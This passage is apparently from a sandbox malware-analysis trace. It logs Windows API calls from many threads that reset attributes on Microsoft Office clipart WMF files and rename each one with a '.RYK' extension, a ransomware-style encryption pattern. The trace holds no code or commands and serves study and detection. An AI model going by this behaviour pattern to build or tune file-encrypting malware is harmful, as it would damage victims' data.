	[0253.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.495] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3282
	os_tid = 0x390c

	[0253.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF", dwFileAttributes=0x80) returned 0
	[0253.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.807] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.807] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3283
	os_tid = 0x3910

	[0253.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF", dwFileAttributes=0x80) returned 0
	[0253.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3284
	os_tid = 0x3914


Thread:
	id = 3288
	os_tid = 0x3924

	[0253.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF", dwFileAttributes=0x80) returned 0
	[0253.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.998] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3289
	os_tid = 0x3928

	[0253.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF", dwFileAttributes=0x80) returned 0
	[0253.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.997] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3290
	os_tid = 0x392c

	[0253.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF", dwFileAttributes=0x80) returned 0
	[0253.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.996] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3291
	os_tid = 0x3930

	[0253.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF", dwFileAttributes=0x80) returned 0
	[0253.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.995] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3292
	os_tid = 0x3934

	[0253.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF", dwFileAttributes=0x80) returned 0
	[0253.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.992] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.992] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3293
	os_tid = 0x3938

	[0253.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF", dwFileAttributes=0x80) returned 0
	[0253.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.991] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.991] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3294
	os_tid = 0x393c

	[0253.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF", dwFileAttributes=0x80) returned 0
	[0253.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.990] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3295
	os_tid = 0x3940

	[0253.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF", dwFileAttributes=0x80) returned 0
	[0253.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.989] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3296
	os_tid = 0x3944

	[0253.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF", dwFileAttributes=0x80) returned 0
	[0253.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.988] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.988] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3297
	os_tid = 0x3948

	[0253.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF", dwFileAttributes=0x80) returned 0
	[0253.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.987] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.987] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3298
	os_tid = 0x394c

	[0253.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF", dwFileAttributes=0x80) returned 0
	[0253.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.986] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3299
	os_tid = 0x3950

	[0253.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF", dwFileAttributes=0x80) returned 0
	[0253.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.985] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.985] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3300
	os_tid = 0x3954

	[0253.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF", dwFileAttributes=0x80) returned 0
	[0253.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.984] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.984] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3301
	os_tid = 0x3958

	[0253.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF", dwFileAttributes=0x80) returned 0
	[0254.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.063] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3303
	os_tid = 0x3964

	[0253.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF", dwFileAttributes=0x80) returned 0
	[0253.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.982] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3304
	os_tid = 0x3968

	[0253.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF", dwFileAttributes=0x80) returned 0
	[0254.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.084] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3305
	os_tid = 0x396c

	[0253.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF", dwFileAttributes=0x80) returned 0
	[0254.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.086] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.086] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3306
	os_tid = 0x3970

	[0253.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF", dwFileAttributes=0x80) returned 0
	[0254.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.087] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3307
	os_tid = 0x3974

	[0253.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF", dwFileAttributes=0x80) returned 0
	[0254.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.088] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.088] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3308
	os_tid = 0x3978

	[0253.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF", dwFileAttributes=0x80) returned 0
	[0254.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.089] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3309
	os_tid = 0x397c

	[0253.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF", dwFileAttributes=0x80) returned 0
	[0254.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.090] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3310
	os_tid = 0x3980

	[0253.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF", dwFileAttributes=0x80) returned 0
	[0254.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.091] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.091] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3311
	os_tid = 0x3984

	[0253.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF", dwFileAttributes=0x80) returned 0
	[0254.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.092] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3312
	os_tid = 0x3988

